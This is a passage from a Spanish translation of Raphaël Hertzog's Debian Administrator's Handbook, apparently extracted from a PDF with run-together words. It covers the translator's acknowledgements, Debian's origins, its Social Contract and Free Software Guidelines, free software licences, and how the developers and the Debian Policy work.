5.5. Agradecimientospersonales de RolandBien, Raphaël ya adelantó gran parte demis agradecimientos «externos». Aúnasí, voy a enfatizar mi agradecimientopersonal a la buena gente de Eyrollescon la que la colaboración siempre ha

Page 75: El Libro Del Administrador de Debian - Raphael Hertzog

sido agradable y fluida. Esperemos quelos resultados de sus excelentesconsejos no se hayan perdido en latraducción.

Estoy extremadamente agradecido aRaphaël por llevar a cabo la parteadministrativa de la edición en inglés.Desde organizar la campaña paraobtener fondos hasta los detalles de laapariencia del libro, crear un librotraducido es mucho más que unasimple traducción y una corrección,Raphaël lo hizo todo (o por lo menosdelegó y lo supervisó). Así que gracias.

Gracias también a todos los que hancontribuido más o menos directamente

Page 76: El Libro Del Administrador de Debian - Raphael Hertzog

con este libro, proporcionandoaclaraciones, explicaciones o consejospara la traducción. Son demasiadospara mencionar, pero la mayoría deellos se pueden encontrar en varioscanales de IRC de #debian-*.

Hay, por supuesto, algo desuperposición con el conjunto depersonas anterior, pero merecenagradecimientos específicos aquellosque hacen Debian específicamente. Nohabría libro sin ellos, y todavía estoysorprendido por lo que el proyectoDebian en su conjunto produce y ponea disposición de todos y cada uno.

Agradezco más personalmente a mis

Page 77: El Libro Del Administrador de Debian - Raphael Hertzog

amigos y mis clientes, por sucomprensión cuando demoraba enresponder porque estaba trabajando eneste libro, y también por su constanteapoyo, aliento e inspiración. Ustedessaben quienes son, gracias.

Por último, y estoy seguro de que sesorprenderían por ser mencionadosaquí, pero me gustaría expresar miagradecimiento a Terry Pratchett,Jasper Fforde, Tom Holt, WilliamGibson, Neal Stephenson y porsupuesto al difunto Douglas Adams.Las incontables horas que pasédisfrutando de sus libros sondirectamente responsables de que yosea capaz de formar parte en la

Page 78: El Libro Del Administrador de Debian - Raphael Hertzog

traducción de éste.

Page 79: El Libro Del Administrador de Debian - Raphael Hertzog

Chapter 1. Elproyecto DebianAntes de sumergirnos directamente enla tecnología, vamos a echar un vistazoa qué es el proyecto Debian, susobjetivos, sus medios y sufuncionamiento.

1.1. ¿Qué esDebian?

CULTURA El origen del nombre Debian

Page 80: El Libro Del Administrador de Debian - Raphael Hertzog

No busque más: Debian no es unacrónimo. Este nombre es en realidad unapalabra compuesta por dos nombres: losde Ian Murdock y su novia en esemomento, Debra. Debra + Ian = Debian.

Debian es una distribución GNU/Linuxy GNU/kFreeBSD. Más adelanteveremos con más detalle qué es unadistribución en la Section 1.4, “Elpapel de las distribuciones”, pero porahora nos limitaremos a decir que es unsistema operativo completo,incluyendo el software y los sistemaspara su instalación y gestión, todo ellobasado en el núcleo Linux o FreeBSD ysoftware libre (en especial del proyectoGNU).

Page 81: El Libro Del Administrador de Debian - Raphael Hertzog

Cuando creó Debian en 1993, bajo ladirección de la FSF, Ian Murdock teníaunos objetivos claros que expresó en elManifiesto Debian («DebianManifesto»). El sistema operativo libreque buscaba tendría que tener doscaracterísticas principales. En primerlugar, la calidad: Debian sedesarrollaría con el mayor cuidado,para ser dignos del núcleo Linux.También sería una distribución nocomercial, lo suficientemente creíblecomo para competir con las principalesdistribuciones comerciales. Esta dobleambición, a su modo de ver, sólo podíalograrse mediante la apertura delproceso de desarrollo de Debian aligual que la de Linux y del proyecto

Page 82: El Libro Del Administrador de Debian - Raphael Hertzog

GNU. Por lo tanto, la revisión entrepares mejoraría continuamente elproducto.

CULTURA GNU, el proyecto de la FSF

El proyecto GNU es un conjunto desoftware libre desarrollado, opatrocinado, por la «Free SoftwareFoundation» (FSF), creado por su líderemblemático el Dr. Richard M. Stallman.GNU es un acrónimo recursivo, quesignifica «GNU no es Unix».

CULTURA Richard Stallman

El fundador de la FSF y autor de lalicencia GPL, Richard M. Stallman (amenudo conocido por sus inicales, RMS)

Page 83: El Libro Del Administrador de Debian - Raphael Hertzog

es un líder carismático del movimientodel Software Libre. Debido a que esintrasigente en su posición no esadmirado de forma unánime, pero suscontribuciones no técnicas al softwarelibre (en el plano jurídico y filosófico)son respetadas por todo el mundo.

1.1.1. Un sistemaoperativomultiplataforma

COMUNIDAD El viaje de Ian Murdock

Ian Murdock, fundador del proyectoDebian, fue su primer líder desde 1993 a

Page 84: El Libro Del Administrador de Debian - Raphael Hertzog

1996. Luego de pasar la batuta a BrucePerens, Ian tomó un rol menos público.Volvió a trabajar detrás del escenario dela comunidad de software libre, creandola empresa Progeny con la intención depromocionar una distribución derivada deDebian. Este proyecto fue,lamentablemente, un fracaso comercial yabandonó su desarrollo. La compañía,luego de varios años apenassobreviviendo como un simple proveedorde servicios, eventualmente presentó subancarrota en abril de 2007. De los variosproyectos iniciados por Progeny sólosobrevivió discover, una herramienta dedetección automática de hardware.

Debian, manteniéndose fiel a susprincipios iniciales, ha tenido tanto

Page 85: El Libro Del Administrador de Debian - Raphael Hertzog

éxito que, hoy en día, ha alcanzado untamaño enorme. Las 11 arquitecturasque ofrece cubren 9 arquitecturas dehardware y 2 núcleos (Linux yFreeBSD). Por otra parte, con más de14.500 paquetes fuente, el softwaredisponible puede satisfacer casicualquier necesidad que uno puedatener ya sea en casa o en la empresa.

Esta generosidad a veces se convierteen un exceso de calidad: no es muyrazonable distribuir 50 CD-ROMs parainstalar la versión completa en unequipo Intel... Por eso pensamos, cadavez más, que Debian es una«metadistribución» desde la que sepueden extraer distribuciones más

Page 86: El Libro Del Administrador de Debian - Raphael Hertzog

específicas orientada a un público enparticular: Debian-Desktop para usoofimático tradicional, Debian-Edu parauso educativo y pedagógico enentornos académicos, Debian-Med paraaplicaciones médicas, Debian-Juniorpara niños, etc. Puede encontrar unalista completa en la sección dedicada aese propósito, revise la Section 1.3.3.1,“Subproyectos Debian existentes”.

Estas divisiones se organizan en unmarco bien definido, lo que garantizacompatibilidad sin problemas entre lasdiferentes subdistribuciones. Todasellas siguen la planificación generalpara el lanzamiento de nuevasversiones. Construidas sobre la misma

Page 87: El Libro Del Administrador de Debian - Raphael Hertzog

base, pueden ser fácilmente extendidas,completadas y personalizadas con lasaplicaciones disponibles en losrepositorios de Debian.

Todas las herramientas de Debianoperan con esto en mente: debian-cdpermite desde hace tiempo crearconjuntos de CD-ROMs que sólocontengan paquetes preseleccionados,debian-installer es también uninstalador modular que se adaptafácilmente a las necesidadesespeciales, APT permite instalarpaquetes de varios orígenesgarantizando al mismo tiempo lacoherencia global del sistema.

Page 88: El Libro Del Administrador de Debian - Raphael Hertzog

HERRAMIENTA Creando un CD-ROMde Debian

debian-cd crea imágenes ISO para CD-ROMs de instalación listas para usar.Raphaël Hertzog es el autor de la últimareescritura de la aplicación, pero elmantenimiento es llevado a caboprincipalmente por Steve McIntyre.Cualquier asunto relacionado con estesoftware se discute (en inglés) en la listade correo <[email protected]>.

VOLVER A LOS CIMIENTOS Para cadaequipo, su arquitectura

El término «arquitectura» indica un tipode equipo (entre los más conocidos seencuentran Mac o PC). Cada arquitectura

Page 89: El Libro Del Administrador de Debian - Raphael Hertzog

se diferencia principalmente por su tipode procesador, normalmenteincompatibles con otros procesadores.Estas diferencias en el hardware implicandiferentes formas de funcionamiento porlo que es necesario que se compile elsoftware específicamente para cadaarquitectura.

La mayoría del software disponible enDebian está escrito en lenguajes deprogramación adaptables («portable»): elmismo código fuente se puede compilaren varias arquitecturas. En efecto, unbinario ejecutable, siempre compiladopara una arquitectura específica por logeneral no funcionará en otrasarquitecturas.

Recuerde que cada programa es creadoescribiendo código fuente, este código

Page 90: El Libro Del Administrador de Debian - Raphael Hertzog

fuente es un archivo de texto compuestopor instrucciones en un determinadolenguage de programación. Antes depoder utilizar el software es necesariocompilar el código fuente, lo quesignifica transformar el código en unbinario (una serie de instrucciones demáquina ejecutable por el procesador).Cada lenguaje de programación tiene uncompilador específico para ejecutar estaoperación (por ejemplo, gcc para ellenguaje de programación C).

HERRAMIENTA El instalador

debian-installer es el nombre delprograma de instalación de Debian. Sudiseño modular permite que sea usado enun amplio rango de escenarios. El trabajodesarrollo es coordinado en la lista de

Page 91: El Libro Del Administrador de Debian - Raphael Hertzog

correo <[email protected]>bajo la dirección de Otavio Salvador andJoey Hess.

1.1.2. La calidad delsoftware libreDebian sigue todos los principios delSoftware Libre y sus nuevas versionesno se publican hasta que estén listas.Los desarrolladores no se venobligados ni presionados a trabajar másrápido para cumplir con un plazoarbitrario. Las personas se quejan confrecuencia del largo tiempo entreversiones estables de Debian, pero esta

Page 92: El Libro Del Administrador de Debian - Raphael Hertzog

precaución también garantiza lalegendaria fiabilidad de Debian: sonrealmente necesarios largos meses depruebas para que la distribucióncompleta reciba la etiqueta «estable».

Debian no realizará compromisos encuanto a calidad: todos los errorescríticos conocidos se resuelven en cadanueva versión, incluso si esto requiereretrasar la fecha de lanzamientoprevista inicialmente.

Debian no excluye ninguna categoríade usuarios, aunque sea una minoría.Su programa de instalación siempre hasido complejo y poco amigable ya queera el único capaz de ejecutarse en

Page 93: El Libro Del Administrador de Debian - Raphael Hertzog

todas las arquitecturas en las que elnúcleo Linux fuera capaz de ejecutarse.No era posible reemplazarlo así comoasí por un programa que fuese másfácil de usar pero limitado sólo a PCs(arquitectura i386). Afortunadamente,desde la llegada de debian-installer,esos días han terminado.

1.1.3. El marco legal:una organización sinánimo de lucroLegalmente hablando, Debian es unproyecto gestionado por una asociaciónde voluntarios norteamericana sin fines

Page 94: El Libro Del Administrador de Debian - Raphael Hertzog

de lucro. El proyecto cuenta con unmillar de desarrolladores Debian peroagrupa a un número mucho mayor decolaboradores (traductores,informadores de errores, artistas,desarrolladores casuales, etc.).

Para llevar su misión a buen término,Debian cuenta con una graninfraestructura con muchos servidoresconectados a través de Internetofrecidos por muchos patrocinadores.

COMUNIDAD Detrás de Debian, laasociación SPI y las filiales locales

Debian no posee servidor alguno bajo sunombre ya que sólo es un proyecto dentrode la asociación «Software in the Public

Page 95: El Libro Del Administrador de Debian - Raphael Hertzog

Interest» (SPI: «Software en el interéspúblico») que administra el hardware ylos aspectos económicos (donaciones,compra de equipos, etc.). Si bien fueoriginalmente creada para el proyectoDebian, esta asociación tiene ahora un rolen otros proyectos de software, enespecial la base de datos PostgreSQL,Freedesktop.org (proyecto para laestandarización de varias partes de losentornos gráficos de escritorios, comoGNOME y KDE). El conjunto ofimáticoOpenOffice.org también es parte de SPI.

→ http://www.spi-inc.org/

Además de SPI, varias asociacioneslocales colaboran estrechamente conDebian con el fin de generar fondos paraDebian sin que esté todo centralizado enEE.UU. Esta configuración evita los

Page 96: El Libro Del Administrador de Debian - Raphael Hertzog

costos prohibitivos de las transferenciasinternacionales y encaja perfectamentecon la naturaleza descentralizada delproyecto. En este espíritu se fundó laasociación Debian Francia en verano de2006. ¡No dude en unirse y apoyar elproyecto!

→ http://france.debian.net/

Page 97: El Libro Del Administrador de Debian - Raphael Hertzog

1.2. Losdocumentos defundaciónUnos años luego de su lanzamientoinicial, Debian formalizó los principiosque debía seguir como proyecto desoftware libre. Este paso activistapermite un crecimiento ordenado ypacífico asegurando que todos susmiembros avancen en la mismadirección. Para ser un desarrolladorDebian, cualquier candidato debeconfirmar y demostrar su apoyo yadhesión a los principios establecidos

Page 98: El Libro Del Administrador de Debian - Raphael Hertzog

en los documentos de fundación delproyecto.

Se debate constantemente acerca delproceso de desarrollo, pero losdocumentos de fundación han sidoapoyados de forma amplia yconsensuada, por lo que rara vezcambian. La constitución de Debiantambién ofrece otras garantías: paraaprobar cualquier modificación esnecesaria una mayoría calificada detres cuartas partes.

1.2.1. El compromisohacia los Usuarios

Page 99: El Libro Del Administrador de Debian - Raphael Hertzog

El proyecto también tiene un «contratosocial». ¿Qué lugar tiene dicho texto enun proyecto diseñado únicamente parael desarrollo de un sistema operativo?Tiene una explicación bastante simple:el trabajo de Debian es para sususuarios, y por lo tanto, por extensión,para la sociedad. Este contrato resumelos compromisos que asume elproyecto. Vamos a analizarlos conmayor detalle:

1. Debian permanecerá libre 100%.

Esta es la regla número 1. Debianestá y permanecerá conformadoentera y exclusivamente porsoftware libre. Además, todo el

Page 100: El Libro Del Administrador de Debian - Raphael Hertzog

desarrollo de software dentro delproyecto Debian será, en símismo, libre.

PERSPECTIVA Más allá delsoftware

La primera versión del contratosocial de Debian decía «Debianpermanecerá software libre 100%».La desaparición de dicha palabra(en la ratificación de la versión 1.1del contrato en abril de 2004) indicala voluntad de lograr libertad nosólo en software sino también en ladocumentación y todo otroelemento que Debian desee proveerdentro de su sistema operativo.

Este cambio que fue pensado

Page 101: El Libro Del Administrador de Debian - Raphael Hertzog

únicamente de forma editorial hatenido, en realidad, numerosasconsecuencias, sobre todo con laeliminación de algunadocumentación problemática.Además, el cada vez mayor uso defirmware en los controladoresplantea problemas: con frecuenciano son libres pero son, sin embargo,necesarios para el correctofuncionamiento del hardwarecorrespondiente.

2. Vamos a devolverle a lacomunidad de software libre.

Cualquier mejora que el proyectoDebian contribuye a un trabajointegrado en la distribución es

Page 102: El Libro Del Administrador de Debian - Raphael Hertzog

enviado al autor de dicho trabajo(el origen, llamado «upstream» eninglés). En general, Debiancooperará con la comunidad antesque trabajar aislado.

COMUNIDAD ¿Autor original odesarrollador Debian?

El término «autor original» hacereferencia a el o los autores odesarrolladores de un programa, losque lo escriben y lo handesarrollado. Por otro lado, un«desarrollador Debian» trabaja conun programa existente paraconvertirlo en un paquete Debian(el término «responsable» —«mantainer» en inglés — Debian esmás adecuado).

Page 103: El Libro Del Administrador de Debian - Raphael Hertzog

Frecuentemente, la línea demarcadano es clara. El responsable enDebian puede escribir un parcheque beneficie a todos los usuariosde dicho trabajo. En general, Debianfomenta a los encargados de unpaquete en Debian a que seinvolucren también en el desarrollooriginal (convirtiéndose entoncesen contribuyentes sin limitarse alsimple rol de ser usuarios delprograma).

3. No esconderemos los problemas.

Debian no es perfecto y nosenfrentaremos con nuevosproblemas a solucionar todos losdías. En todo momento

Page 104: El Libro Del Administrador de Debian - Raphael Hertzog

mantendremos toda nuestra basede datos de errores abierta para elpúblico. Los informes quepresenten las personas online sehará visible a los demásrápidamente.

4. Nuestras prioridades son nuestrosusuarios y el software libre.

Este compromiso es más difícil dedefinir. Debian impone, por lotanto, una parcialidad al momentode tomar una decisión y descartaráuna solución sencilla para losdesarrolladores que ponga enriesgo la experiencia de losusuarios, prefiriendo una solución

Page 105: El Libro Del Administrador de Debian - Raphael Hertzog

más elegante aún cuando sea másdifícil de implementar. Estoimplica tomar en cuenta, comoprioridad, los intereses de losusuarios y el software libre.

5. Trabajos que no cumplan nuestrosestándares de software libre.

Debian acepta y entiende que,frecuentemente, los usuariosdesean utilizar programas nolibres. Es por eso que el proyectopermite el uso de partes de suinfraestructura para distribuirpaquetes Debian de software nolibre que puede ser redistribuidode forma segura.

Page 106: El Libro Del Administrador de Debian - Raphael Hertzog

COMUNIDAD ¿A favor o encontra de la sección no libre («non-free»)?

Frecuentemente, el compromiso demantener una estructura para incluirsoftware no libre (es decir, lasección «non-free», revise elrecuadro VOCABULARIO Loscompendios main, contrib y non-free) es tema de debate dentro de lacomunidad Debian.

Los detractores argumentan quealeja a la gente de equivalenteslibres y se contradice con elprincipio de servir sólo a la causa desoftware libre. Los defensoressimplemente dicen que la mayoríade los programas no libres son «casilibres» , limitados por sólo una o

Page 107: El Libro Del Administrador de Debian - Raphael Hertzog

dos restricciones molestas (siendola prohibición de uso comercial delsoftware la más común). Aldistribuir estos trabajos como nolibres, indirectamente explicamos alautor que su creación sería másconocida y utilizada por máspúblico si pudiera ser incluida en lasección general («main»). Se losinvita, por lo tanto, a alterar sulicencia con dicho propósito.

La eliminación de la sección nolibre, luego de un primer einfructuoso intento en 2004, nodebería aparecer en la agenda porvarios años, especialmente porquecontiene muchos documentos útilesque fueron movidos simplementeporque no cumplen los nuevosrequerimientos para la sección

Page 108: El Libro Del Administrador de Debian - Raphael Hertzog

principal. En particular, tal es elcaso de ciertos archivos dedocumentación del proyecto GNU(Emacs y Make).

La existencia de la sección no librecausa el enojo particular de laFundación de software libre («FreeSoftware Foundation») haciendoque la misma, por lo tanto, se nieguea recomendar oficialmente a Debiancomo sistema operativo.

1.2.2. Las directricesde software libre deDebian

Page 109: El Libro Del Administrador de Debian - Raphael Hertzog

Este documento de referencia definequé software es «suficientementelibre» para ser incluido en Debian. Si lalicencia del programa es acorde adichos principios, éste puede serincluido en la sección principal; casocontrario, siempre que se lo puedadistribuir libremente, se lo podráencontrar en la sección no libre. Lasección no libre no es oficialmenteparte de Debian, es un servicioadicional provisto a los usuarios.

Más que un criterio de selección paraDebian, este texto se convirtió enautoridad en materia de software librey sirvió como la base para laDefinición de código abierto («Open

Page 110: El Libro Del Administrador de Debian - Raphael Hertzog

Source definition»). Es, por lo tanto,históricamente una de las primerasformalizaciones del concepto de«software libre».

La Licencia Pública General GNU, laLicencia BSD y la Licencia Artísticason ejemplos de licencias librestradicionales que son conformes a los 9puntos mencionados en este texto.Abajo encontrará el texto como espublicado en el sitio web de Debian.

→ http://www.debian.org/social_contract#guidelines

1. Redistribución libre. La licenciade un componente de Debian nopuede restringir a un tercero elvender o entregar el programa

Page 111: El Libro Del Administrador de Debian - Raphael Hertzog

como parte de una distribuciónmayor que contiene programas dediferentes fuentes. La licencia nodebe solicitar regalías u otrascomisiones por dicha venta.

VOLVER A LOS CIMIENTOSLicencias libres

La licencia GNU GPL, la LicenciaBSD y la Licencia Artística cumplenlas Directrices de software libre deDebian, aún cuando son muydiferentes entre sí.

La GNU GPL, utilizada ypromocionada por la FSF(«fundación de software libre» porsus siglas en inglés), es la máscomún. Su principal particularidad

Page 112: El Libro Del Administrador de Debian - Raphael Hertzog

es que también aplica a toda obraderivada que es redistribuida: unprograma que incorpora o utilizacódigo GPL sólo puede serdistribuido según sus términos.Prohíbe, por lo tanto, todareutilización en una aplicaciónprivativa. Esto supone seriosproblemas para la reutilización decódigo GPL en software libre que noes compatible con esta licencia. Deesa forma, es a veces imposibleenlazar un programa publicado bajootra licencia de software libre conuna biblioteca distribuida bajo laGPL. Por el otro lado, esta licenciaes muy sólida según leyesnorteamericanas: los abogados de laFSF participaron en sus primerasrevisiones y generalmente forzarona que transgesores llegaran a

Page 113: El Libro Del Administrador de Debian - Raphael Hertzog

acuerdos amigables con la FSF sinllegar a la corte.

→ http://www.gnu.org/copyleft/gpl.html

La licencia BSD es la menosrestrictiva: todo está permitido,inclusive el uso de código BSDmodificado en una aplicaciónprivativa. Aún Microsoft la utiliza,basando la capa TCP/IP de WindowsNT en la del núcleo BSD.

→ http://www.opensource.org/licenses/bsd-license.php

Finalmente, la licencia artística esun compromiso entre las otras doas:se permite la integración de códigoen una aplicación privativa, perocualquier modificación tiene que serpublicada.

Page 114: El Libro Del Administrador de Debian - Raphael Hertzog

→ http://www.opensource.org/licenses/artistic-license-2.0.php

El texto completo de estas licenciasse encuentra disponible en todos lossistemas Debian en/usr/share/common-licenses/.

2. Código fuente. El programa debeincluir el código fuente completo,y debe permitir la distribución enforma de código fuente y en formacompilada (binario).

3. Trabajos derivados. La licenciadebe permitir modificaciones ytrabajos derivados y debe permitirque estos se distribuyan bajo los

Page 115: El Libro Del Administrador de Debian - Raphael Hertzog

mismos términos que la licenciadel programa original.

4. Integridad del código fuente delautor. La licencia puederestringir la distribución delcódigo fuente en formamodificada sólo si la licenciapermite la distribución de«parches» («patch files») parapoder modificar el código fuenteoriginal del programa en elmomento de compilarlo. Lalicencia debe permitirexplícitamente la distribución desoftware a partir de código fuentemodificado. La licencia puedeobligar a los trabajos derivados a

Page 116: El Libro Del Administrador de Debian - Raphael Hertzog

llevar un nombre o número deversión diferentes del programaoriginal (Esto es un compromiso.El grupo de Debian anima a todoslos autores a no restringir ningúnarchivo, fuente o compilado, deser modificado).

5. No discriminación contrapersonas o grupos. La licenciano debe discriminar a ningunapersona o grupo de personas.

6. No discriminación en función dela finalidad perseguida. Lalicencia no puede restringir el usodel programa para una finalidaddeterminada. Por ejemplo, no

Page 117: El Libro Del Administrador de Debian - Raphael Hertzog

puede restringir el uso delprograma a empresas con finescomerciales, o en investigacióngenética.

7. Distribución de la licencia. Losderechos asociados al programadeben aplicarse en la mismaforma a todos aquellos a los quese redistribuya el programa, sinnecesidad de pedir una licenciaadicional para estas terceraspartes.

8. La licencia no debe serespecífica para Debian. Losderechos asociados al programano deben depender de que el

Page 118: El Libro Del Administrador de Debian - Raphael Hertzog

programa sea parte o no delsistema Debian. Si el programa esextraído de Debian y usado odistribuido sin Debian, peromanteniendo el resto de lascondiciones de la licencia, todosaquellos a los que el programa seredistribuya deben tener losmismos derechos que los dadoscuando forma parte de Debian.

9. La licencia no debe contaminara otros programas. La licenciano debe poner restricciones sobreotros programas que sedistribuyan junto con el programalicenciado. Por ejemplo, lalicencia no puede insistir que

Page 119: El Libro Del Administrador de Debian - Raphael Hertzog

todos los demás programasdistribuidos sobre el mismo mediodeben ser software libre.

VOLVER A LOS CIMIENTOS«Copyleft»

El «copyleft» es un principio queconsiste en utilizar los derechos deautor («copyright» en inglés) paragarantizar la libertad de una obra ysus derivados, en lugar de restringirlos derechos de uso, como es el casocon el software privativo. Estambién un juego de palabras sobreel término «copyright» (por ser«right» y «left», derecha e izquierdarespectivamente). Richard Stallmandescubrió la idea cuando un amigosuyo, aficionado a los juegos de

Page 120: El Libro Del Administrador de Debian - Raphael Hertzog

palabras, escribió en un sobredirigido a él: «copyleft: todos losderechos invertidos» («copyleft: allrights reversed»). El «copyleft»impone la preservación de todas laslibertades iniciales sobre ladistribución de una versión originalo modificada de un programa. Portanto, no es posible distribuir unprograma como software privativosi se ha generado a partir del códigode un programa «copyleft».

La licencia copyleft más conocidaes la GNU GPL, y sus derivadas laGNU LGPL («Licencia PúblicaGeneral Reducida GNU» por sussiglas en inglés), y la GNU FDL(«Licencia Libre paraDocumentación GNU» por sussiglas en inglés). Por desgracia, las

Page 121: El Libro Del Administrador de Debian - Raphael Hertzog

licencias copyleft son incompatiblesunas con otras por lo que es mejoremplear sólo una de ellas.

COMUNIDAD Bruce Perens, un líderpolémico

Bruce Perens, el segundo líder delproyecto Debian justo después de IanMurdock, fue muy polémico por susmétodos dinámicos y autoritarios. Sinembargo su contribución a Debian ha sidomuy importante, con quien Debian tieneuna deuda especial por la creación de lasfamosas «Directrices de software libre deDebian» («DFSG» por sus siglas eninglés), una idea original de EanSchuessler. Posteriormente, Brucederivaría de este documento la famosa

Page 122: El Libro Del Administrador de Debian - Raphael Hertzog

«Definición de código abierto» («OpenSource Definition») eliminando todas lasreferencias sobre Debian.

→ http://www.opensource.org/

Su partida del proyecto fue bastanteemotiva, pero Bruce ha permanecidoestrechamente ligado a Debian ya quecontinúa promoviendo la distribución enesferas políticas y económicas.Esporádicamente aparece aún en las listasde correo para ofrecer su consejo ypresentar sus últimas inciativas en favorde Debian.

Como última anécdota, fue Bruce elresponsable de inspirar los diferentes«nombre código» para las versiones deDebian (1.1 — Rex, 1.2 — Buzz, 1.3 —Bo, 2.0 — Hamm, 2.1 — Slink, 2.2 —Potato, 3.0 — Woody, 3.1 — Sarge, 4.0 —

Page 123: El Libro Del Administrador de Debian - Raphael Hertzog

Etch, 5.0 — Lenny, 6.0 — Squeeze,Testing — Wheezy, Unstable — Sid). Sontomadas de nombres de personajes de lapelícula «Toy Story». Este largometrajeanimado completamente compuesto degráficos generados por computadora fueproducido por Pixar Studios, para quienBruce trabajaba al momento de liderar elproyecto Debian. El nombre «Sid» tieneuna característica particular ya que estarásiempre asociada a la rama inestableUnstable. En la película, este personajeera el niño vecino que siempre rompíajuguetes — por lo que tenga cuidado alacercarse demasiado a Unstable. Por otrolado, Sid es también acrónimo de «aún endesarrollo» («Still In Development»).

Page 124: El Libro Del Administrador de Debian - Raphael Hertzog

1.3. Elfuncionamientointerno delproyecto DebianEl valor producido por el proyectoDebian deriva simultáneamente deltrabajo de sus desarrolladoresexperimentados en la infraestructura,trabajo individual o grupal dedesarrolladores en paquetes Debian ycomentarios y sugerencias de usuarios.

Page 125: El Libro Del Administrador de Debian - Raphael Hertzog

1.3.1. LosdesarrolladoresDebianLos desarrolladores Debian tienenvarias responsabilidades y, comomiembros oficiales del proyecto, tienenuna gran influencia en la dirección delmismo. Un desarrollador Debiangeneralmente es responsable de almenos un paquete, pero según sutiempo disponible y su voluntad sonlibres de involucrarse en varios gruposobteniendo, así, más responsabilidadesdentro del proyecto.

Page 126: El Libro Del Administrador de Debian - Raphael Hertzog

→ http://www.debian.org/devel/people

→ http://www.debian.org/intro/organization

→ http://wiki.debian.org/Teams

HERRAMIENTA Base de datos dedesarrolladores

Debian posee una base de datos queincluye a todos los desarrolladoresregistrados en el proyecto y suinformación relevante (dirección, númerotelefónico, coordenadas geográficascomo longitud y latitud, etc.). Parte de esainformación (nombre y apellido, país,nombre de usuario dentro del proyecto,nombre de usuario IRC, llave GnuPG,etc.) son públicas y accesibles en un sitioweb.

Page 127: El Libro Del Administrador de Debian - Raphael Hertzog

→ http://db.debian.org/

Las coordenadas geográficas permiten lacreación de un mapa ubicando a todos losdesarrolladores alrededor del mundo.Debian es realmente un proyectointernacional: se pueden encontrardesarrolladores en todos los continentes,aunque la mayoría están en el hemisferioOeste.

Figure 1.1. Distribución mundial de losdesarrolladores Debian

Page 128: El Libro Del Administrador de Debian - Raphael Hertzog

La manutención de paquetes es unaactividad relativamente organizada,muy documentada o inclusivereglamentada. Debe, de hecho, respetartodos los estándares establecidos por laNormativa Debian («Debian Policy»).Afortunadamente, existen muchasherramientas que facilitan el trabajo delos desarrolladores. Ellos pueden,

Page 129: El Libro Del Administrador de Debian - Raphael Hertzog

entonces, concentrarse en lasparticularidades de su paquete y entareas más complejas como lacorrección de errores.

→ http://www.debian.org/doc/debian-policy/

VOLVER A LOS CIMIENTOSManutención de paquetes, el trabajo deun desarrollador

La manutención de un paquete implica,primero, «empaquetar» un programa.Específicamente, significa definir losmedios de instalación para que, una vezinstalado, este programa opere y cumplacon todas las reglas que el proyectoDebian define para sí mismo. El resultadode esta operación es guardado en un

Page 130: El Libro Del Administrador de Debian - Raphael Hertzog

archivo .deb. La instalación efectiva deeste paquete sólo necesitará la extracciónde los contenidos de este archivocomprimido y la ejecución de algunosscripts de preinstalación y postinstalaciónque contiene.

Luego de esta fase inicial, el ciclo demanutención comienza realmente: lapreparación de actualización para seguirla última versión de la Normativa Debian,corregir errores reportados por usuarios,incluir una nueva versión del programaoriginal que, naturalmente, continúa sudesarrollo de forma simultánea (porejemplo: al momento del empaquetadooriginal el programa estaba en su versión1.2.3. Luego de algunos meses dedesarrollo los autores originales publicanuna nueva versión estable numeradacomo 1.4.0. En este momento, el

Page 131: El Libro Del Administrador de Debian - Raphael Hertzog

desarrollador Debian debería actualizar elpaquete para que los usuarios puedanbeneficiarse de esta última versiónestable).

La Normativa («Policy») es unelemento esencial del proyecto Debian,establece las normas que garantizantanto la calidad de los paquetes comotambién la interoperabilidad perfectade la distribución. Gracias a estedocumento, Debian se mantieneconsistente a pesar de su gigantescotamaño. La Normativa no está escritaen piedra si no que evolucionacontinuamente gracias a propuestasformuladas en la lista de correo<debian-

Page 132: El Libro Del Administrador de Debian - Raphael Hertzog

[email protected]>. Lasmodificaciones que son aprobadas portodos son aceptadas y aplicadas al textopor un grupo reducido dedesarrolladores que no tienenresponsabilidad editorial (sólo incluyenlas modificaciones aceptadas por losdesarrolladores Debian que sonmiembros de la lista antesmencionada). Puede leer lascorrecciones propuestas siendodiscutidas en el sistema de seguimientode errores:

→ http://bugs.debian.org/debian-policy

COMUNIDAD Proceso editorial de lanormativa

Page 133: El Libro Del Administrador de Debian - Raphael Hertzog

Cualquiera puede proponer unacorrección a la Normativa Debiansimplemente enviando un reporte de errorcon gravedad «wishlist» (un deseo) sobreel paquete debian-policy. El proceso quecomienza en ese momento estádocumentado en /usr/share/doc/debian-policy/Process.html: si es aceptado queel problema revelado tiene que serresuelto creando una nueva regla en laNormativa Debian, comienza unadiscusión sobre la misma en la lista decorreo <[email protected]> hasta llegar aun consenso y se llega a una propuesta.Alguien creará un una versión preliminarde las modificaciones deseadas y lasenvía para ser aprobadas (en forma de unparche para revisión). Tan pronto comootros dos desarrolladores confirmen(«secundan» la propuesta) que los

Page 134: El Libro Del Administrador de Debian - Raphael Hertzog

cambios propuestos reflejan el consensoal que se llegó en la discusión previa, lapropuesta puede ser incluida en eldocumento oficial por uno de losencargados del paquete debian-policy. Siel proceso falla en alguno de sus pasos,los desarrolladores cerrarán el reporte deerror clasificando la propuesta comorechazada.

NORMA DEBIAN La documentación

La documentación de cada paquete esalmacenada en /usr/share/doc/paquete/.Este directorio generalmente contiene unarchivo README.Debian que describe lasmodificaciones específicas a Debian quehizo el encargado del paquete. Es, por lotanto, aconsejable leer este archivo antesde realizar cualquier configuración para

Page 135: El Libro Del Administrador de Debian - Raphael Hertzog

poder aprovechar su experiencia.También encontrará un archivochangelog.Debian.gz que describe loscambios de una versión a otra realizadospor el responsable del paquete. Este notiene que confundirse con el archivochangelog.gz (o equivalente) quedescribe los cambios realizados por losdesarrolladores originales. El archivocopyright incluye información sobre losautores y la licencia que abarca alsoftware. Finalmente, también podríaencontrar un archivo de nombreNEWS.Debian.gz, que permite aldesarrollador Debian comunicarinformación importante sobreactualizaciones (si se utiliza apt-listchanges, los mensajes son mostradosautomáticamente por apt). Todos los otrosarchivos son específicos del software encuestión. Queremos mencionar

Page 136: El Libro Del Administrador de Debian - Raphael Hertzog

especialmente el directorio examples quegeneralmente contiene ejemplos dearchivos de configuración.

La Normativa cubre en detalle losaspectos técnicos de la creación depaquetes. El tamaño del proyectotambién genera problemas deorganización; estos son tratados por laConstitución Debian («DebianConstitution») que establece unaestructura y los medios para tomardecisiones.

Esta constitución define cierta cantidadde roles y posiciones además de lasresponsabilidades y atribuciones decada uno. Es particularmente

Page 137: El Libro Del Administrador de Debian - Raphael Hertzog

